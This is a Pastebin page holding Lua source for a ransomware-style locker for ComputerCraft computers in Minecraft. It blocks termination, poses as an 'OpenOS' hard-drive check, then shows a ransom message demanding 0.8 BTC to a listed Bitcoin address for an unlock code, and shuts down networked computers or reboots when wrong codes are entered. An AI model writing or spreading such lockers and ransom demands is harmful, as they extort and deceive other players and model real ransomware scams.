Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- --terminal. do not change
- local terminal = term.current()
- --password. change please. string only. all symbols.
- local password = "a"
- --program walting time when start
- local passwordWT = 5
- --virus logo. only string
- local logo = ""
- local logo2 = " <!Satana!>"
- --virus writing text. next field = next string.
- local text = {logo2,"Your computer has been infected and"," need to be repaired!","For repair, you need to pay 0.8 BTC to"," BitCoin Adress: 3KiDdAscq31WdPAmXjfoq3kGMKaKH5XSsb","After paying you can enter your unblock "," code here, and delete this virus.","Without this code you"," CAN'T delete this virus."," "," (C) ZO125, MineWindows",logo2}
- while true do
- local PL = peripheral.getNames()
- for ID,name in pairs(PL) do
- if peripheral.getType(name) == "monitor" then
- local proxy = peripheral.wrap(name)
- proxy.clear()
- proxy.setBackgroundColor(colors.red)
- proxy.setTextColor(colors.white)
- proxy.setCursorPos(1,1)
- TX,TY = proxy.getSize()
- for i = 0,TY,1 do
- proxy.setCursorPos(1,1)
- proxy.write("Disabled.")
- end
- end
- end
- terminal.clear()
- terminal.setCursorPos(1,1)
- terminal.setTextColor(colors.gray)
- terminal.write("OpenOS Conducts an inspection ")
- terminal.setCursorPos(1,2)
- terminal.write(" of the computer.")
- terminal.setCursorPos(1,4)
- terminal.setTextColor(colors.white)
- terminal.write("Checking the hard drive;")
- terminal.setCursorPos(1,5)
- terminal.write(" Do not turn off the computer!")
- sleep(passwordWT)
- terminal.setCursorPos(1,1)
- terminal.clear()
- terminal.setTextColor(colors.red)
- for ID,str in pairs(text) do
- terminal.write(str)
- local CX,CY = terminal.getCursorPos()
- terminal.setCursorPos(1,CY+1)
- end
- local ext = false
- for i = 0,5,1 do
- local TCPX,TCPY = terminal.getCursorPos()
- terminal.setCursorPos(1,TCPY+1)
- terminal.write("Enter your code here("..i.."/5):")
- local Epass = read()
- if Epass == password then
- ext = true
- break
- end
- end
- if ext then
- terminal.clear()
- break
- else
- local PL = peripheral.getNames()
- for ID,name in pairs(PL) do
- if peripheral.getType(name) == "computer" then
- peripheral.wrap(name).shutdown()
- end
- os.reboot()
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement